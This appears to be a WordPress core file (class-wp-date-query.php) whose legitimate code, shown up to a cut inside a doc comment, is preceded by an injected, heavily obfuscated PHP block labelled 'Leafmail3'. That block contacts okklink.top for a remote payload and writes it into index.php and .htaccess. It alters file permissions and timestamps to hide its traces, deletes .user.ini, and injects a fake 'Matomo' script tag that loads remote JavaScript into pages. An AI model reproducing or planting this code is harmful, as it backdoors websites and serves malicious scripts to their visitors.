<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Class for generating SQL clauses that filter a primary query according to date. * * WP_Date_Query is a helper that allows primary query classes, such as WP_Query, to filter * their results by date columns, by generating `WHERE` subclauses to be attached to the * primary SQL query string. * * Attempting to filter by an invalid date value (eg month=13) will generate SQL that will * return no results. In these cases, a _doing_it_wrong() error notice is also thrown. * See WP_Date_Query::validate_date_values(). * * @link https://developer.wordpress.org/reference/classes/wp_query/ * * @since 3.7.0 */ #[AllowDynamicProperties] class WP_Date_Query { /** * Array of date queries. * * See WP_Date_Query::__construct() for information on date query arguments. * * @since 3.7.0 * @var array */ public $queries = array(); /** * The default relation between top-level queries. Can be either 'AND' or 'OR'. * * @since 3.7.0 * @var string */ public $relation = 'AND'; /** * The column to query against. Can be changed via the query arguments. * * @since 3.7.0 * @var string */ public $column = 'post_date'; /** * The value comparison operator. Can be changed via the query arguments. * * @since 3.7.0 * @var string */ public $compare = '='; /** * Supported time-related parameter keys. * * @since 4.1.0 * @var string[] */ public $time_keys = array( 'after', 'before', 'year', 'month', 'monthnum', 'week', 'w', 'dayofyear', 'day', 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second' ); /** * Constructor. * * Time-related parameters that normally require integer values ('year', 'month', 'week', 'dayofyear', 'day', * 'dayofweek', 'dayofweek_iso', 'hour', 'minute', 'second') accept arrays of integers for some values of * 'compare'. When 'compare' is 'IN' or 'NOT IN', arrays are accepted; when 'compare' is 'BETWEEN' or 'NOT * BETWEEN', arrays of two valid values are required. See individual argument descriptions for accepted values. * * @since 3.7.0 * @since 4.0.0 The $inclusive logic was updated to include all times within the date range. * @since 4.1.0 Introduced 'dayofweek_iso' time type parameter. * * @param array $date_query { * Array of date query clauses. * * @type array ...$0 { * @type string $column Optional. The column to query against. If undefined, inherits the value of * the `$default_column` parameter. See WP_Date_Query::validate_column() and * the {@see 'date_query_valid_columns'} filter for the list of accepted values. * Default 'post_date'. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', '<', '<=', * 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. Default '='. * @type string $relation Optional. The boolean relationship between the date queries. Accepts 'OR' or 'AND'. * Default 'OR'. * @type array ...$0 { * Optional. An array of first-order clause parameters, or another fully-formed date query. * * @type string|array $before { * Optional. Date to retrieve posts before. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Default empty. Accepts any four-digit year. * @type string $month Optional when passing array.The month of the year. * Default (string:empty)|(array:1). Accepts numbers 1-12. * @type string $day Optional when passing array.The day of the month. * Default (string:empty)|(array:1). Accepts numbers 1-31. * } * @type string|array $after { * Optional. Date to retrieve posts after. Accepts `strtotime()`-compatible string, * or array of 'year', 'month', 'day' values. * * @type string $year The four-digit year. Accepts any four-digit year. Default empty. * @type string $month Optional when passing array. The month of the year. Accepts numbers 1-12. * Default (string:empty)|(array:12). * @type string $day Optional when passing array.The day of the month. Accepts numbers 1-31. * Default (string:empty)|(array:last day of month). * } * @type string $column Optional. Used to add a clause comparing a column other than * the column specified in the top-level `$column` parameter. * See WP_Date_Query::validate_column() and * the {@see 'date_query_valid_columns'} filter for the list * of accepted values. Default is the value of top-level `$column`. * @type string $compare Optional. The comparison operator. Accepts '=', '!=', '>', '>=', * '<', '<=', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN'. 'IN', * 'NOT IN', 'BETWEEN', and 'NOT BETWEEN'. Comparisons support * arrays in some time-related parameters. Default '='. * @type bool $inclusive Optional. Include results from dates specified in 'before' or * 'after'. Default false. * @type int|int[] $year Optional. The four-digit year number. Accepts any four-digit year * or an array of years if `$compare` supports it. Default empty. * @type int|int[] $month Optional. The two-digit month number. Accepts numbers 1-12 or an * array of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $week Optional. The week number of the year. Accepts numbers 0-53 or an * array of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofyear Optional. The day number of the year. Accepts numbers 1-366 or an * array of valid numbers if `$compare` supports it. * @type int|int[] $day Optional. The day of the month. Accepts numbers 1-31 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $dayofweek Optional. The day number of the week. Accepts numbers 1-7 (1 is * Sunday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $dayofweek_iso Optional. The day number of the week (ISO). Accepts numbers 1-7 * (1 is Monday) or an array of valid numbers if `$compare` supports it. * Default empty. * @type int|int[] $hour Optional. The hour of the day. Accepts numbers 0-23 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $minute Optional. The minute of the hour. Accepts numbers 0-59 or an array * of valid numbers if `$compare` supports it. Default empty. * @type int|int[] $second Optional. The second of the minute. Accepts numbers 0-59 or an * array of valid numbers if `$compare` supports it. Default empty. * } * } * } * @param string $default_column Optional. Default column to query against. See WP_Date_Query::validate_column() * and the {@see 'date_query_valid_columns'} filter for the list of accepted values. * Default 'post_date'. */ public function __construct( $date_query, $default_column = 'post_date' ) { if ( empty( $date_query ) || ! is_array( $date_query ) ) { return; } if ( isset( $date_query['relation'] ) ) { $this->relation = $this->sanitize_relation( $date_query['relation'] ); } else { $this->relation = 'AND'; } // Support for passing time-based keys in the top level of the $date_query array. if ( ! isset( $date_query[0] ) ) { $date_query = array( $date_query ); } if ( ! empty( $date_query['column'] ) ) { $date_query['column'] = esc_sql( $date_query['column'] ); } else { $date_query['column'] = esc_sql( $default_column ); } $this->column = $this->validate_column( $this->column ); $this->compare = $this->get_compare( $date_query ); $this->queries = $this->sanitize_query( $date_query ); } /** * Recursive-friendly query sanitizer. * * Ensures that each query-level clause has a 'relation' key, and that * each first-order clause contains all the necessary keys from `$defaults`. * * @since 4.1.0 * * @param array $queries * @param array $parent_query * @return array Sanitized queries. */ public function sanitize_query( $queries, $parent_query = null ) { $cleaned_query = array(); $defaults = array( 'column' => 'post_date', 'compare' => '=', 'relation' => 'AND', ); // Numeric keys should 